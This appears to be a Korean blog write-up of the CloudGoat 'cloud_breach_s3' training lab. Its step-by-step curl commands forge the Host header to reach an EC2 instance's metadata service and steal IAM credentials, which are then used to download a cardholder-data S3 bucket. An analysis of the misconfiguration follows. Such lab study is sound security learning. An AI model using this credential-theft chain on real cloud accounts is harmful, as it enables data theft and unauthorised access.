[CloudGoat] 3. cloud_breach_s3
이것저것/Cloud

[CloudGoat] 3. cloud_breach_s3

# Start

$ ./cloudgoat.py create cloud_breach_s3
$ cd c;pid+breach_s3_[]

[+] start.txt

  • 이번에는 aws_account)id와 target_ec2_server_ip 만 제공되었다. 
  • 전 단계만큼 쉽게 configure 하지는 못할 듯하다.

[+] goal

Download the confidential files from the S3 bucket.
  • 이번 exploit 에서의 최종 목표도 앞에서와 조금 다르다. S3 버킷으로부터 비밀 정보(개인정보)를 다운받는 것이 목표다.

[+] Cloud-native Breach 란?

우선 직역하자면, "클라우드 네이티브 침해"라고 한다.

공격자가 클라우드 사용자의 resource에 접근하고, 민감한 정보를 찾고 훔칠 때를 말하는 것이다. 


# Exploit Scenario

처음에 제공되는 정보도 이번에는 server ip 이기 때문에 구상할 수 있는 시나리오도 달라진다.

Step1. HTTP Request

$ curl -s http://[target_ec2_server_ip]/latest/meta-data/iam/security-credentials/ -H 'Host:169.25
4.169.254'

(target_ec2_server_ip 는 start.txt에서 얻은 그 서버 아이피다!)

  • 리버스 프록시 서버로 동작하고 있는 EC2 인스턴스에 HTTP 요청을 보낸다.
  • 응답: cg-banking-WAF-Role-cloud_breach_s3_cgidtz6mobky37
    • role을 출력해준다.

** 리버스 프록시 (Reverse Proxy)

https://ko.wikipedia.org/wiki/%EB%A6%AC%EB%B2%84%EC%8A%A4_%ED%94%84%EB%A1%9D%EC%8B%9C#/media/%ED%8C%8C%EC%9D%BC:Reverse_proxy_h2g2bob.svg

  • 클라이언트를 대신해 한 대 이상의 서버로부터 자원을 추출하는 프록시 서버다.
  • 추출한 자원은 웹 서버 자원들을 마치 웹 서버에서 직접 받은 것처럼 해당 클라이언트로 반환한다.
  • 내부 인트라넷에 있는 서버를 호출하기 위해 인터넷 망에 있는 클라이언트가 리버스 프록시 서버에 요청하고 응답을 받는 방식으로 이뤄진다.
  • 서버와 클라이언트가 직접 통신하지 않고, 클라이언트는 리버스 프록시 서버를 먼저 호출하기 때문에 실제 서버의 IP를 알 수 없게 된다.

Step2. crul - get more info.

$ curl http://[target-ec2-ip-address]/latest/meta-data/iam/security-credentials/[ec2-role-name] -H 'Host:169.254.169.254'

  • AccessKeyId와 SecretAccessKey, Token을 얻을 수 있다.
  • 다만 이 credential information은 임시적인 것으로, 만료기간이 있다.

Step3. congifure

$ aws configure --profile [name]

( 이 때 [name]은 아무거나 하고 싶은 이름으로 하면 된다)

Step4. edit credential file

$ vi ~/.aws/credentials

  • "aws_session_token" 값을 추가한다.

Step5. list the s3 bucket contents

$ aws s3 ls --profile breach

  • s3 bucket contents를 출력한다: cg-cardholder-data-bucket-cloud-breach-s3-cgidtz6mobky37

Step6. sync: copy & paste

$ aws s3 sync s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidtz6mobky37 ./cardholder-data --profile [Name]
sync
 동기화; 디렉터리와 s3의 prefix들을 복사한다. 이 때, 새로 업데이트 되는 파일들도 반복적으로 복사한다.
- https://docs.aws.amazon.com/cli/latest/reference/s3/sync.html

이런 식으로 굉장히 민감한 정보들까지도 모두 뽑아갈 수 있다.

 

[+] Destroy


# Analyze 

취약점

  • 민감한 credential 정보들을 다운로드 할 수 있다.
  • ec2_server_ip 값만 알고 있을 때 외부 공격자가 얼마든지 클라우드에 접속해 민감한 정보까지 쉽게 취득할 수 있다.

발생 원인

(start.txt의 존재는 우선 무시하기로한다!)

  • Step1-2에서 얻은 임시 정보를 통해 사용자 인증(추가)을 할 수 있다. 
  • 임시 인증 키들을 이용해 클라우드에서 실제 사용자로 인식하고 파일을 자유롭게 다운로드 할 수 있게 된다. 

(보충: 좀 더 찾아보면서 추가했습니다!)

  • 역방향 프록시 서버의 역할을 하고 있는 EC2 인스턴스는 잘못된 actor가 Host Header를 조작해 instance meta-data API를 호출하고 IAM credential 까지 가져올 수 있도록 허용하고 있다.
  • 따라서 외부 공격자가 S3 버킷에 접근할 수 있었고 결국 credentials가 S3 버킷에 저장된다.
SMALL

'이것저것 > Cloud' 카테고리의 다른 글

[CloudGoat] 6. rce_web_app  (0) 2021.08.18
[CloudGoat] 5. ec2_ssrf  (0) 2021.08.17
[CloudGoat] 4. iam_privesc_by_attachment  (0) 2021.08.17
[CloudGoat] 2. lambda_privesc  (0) 2021.08.15
[CloudGoat] 1. iam_privesc_by_rollback  (0) 2021.08.15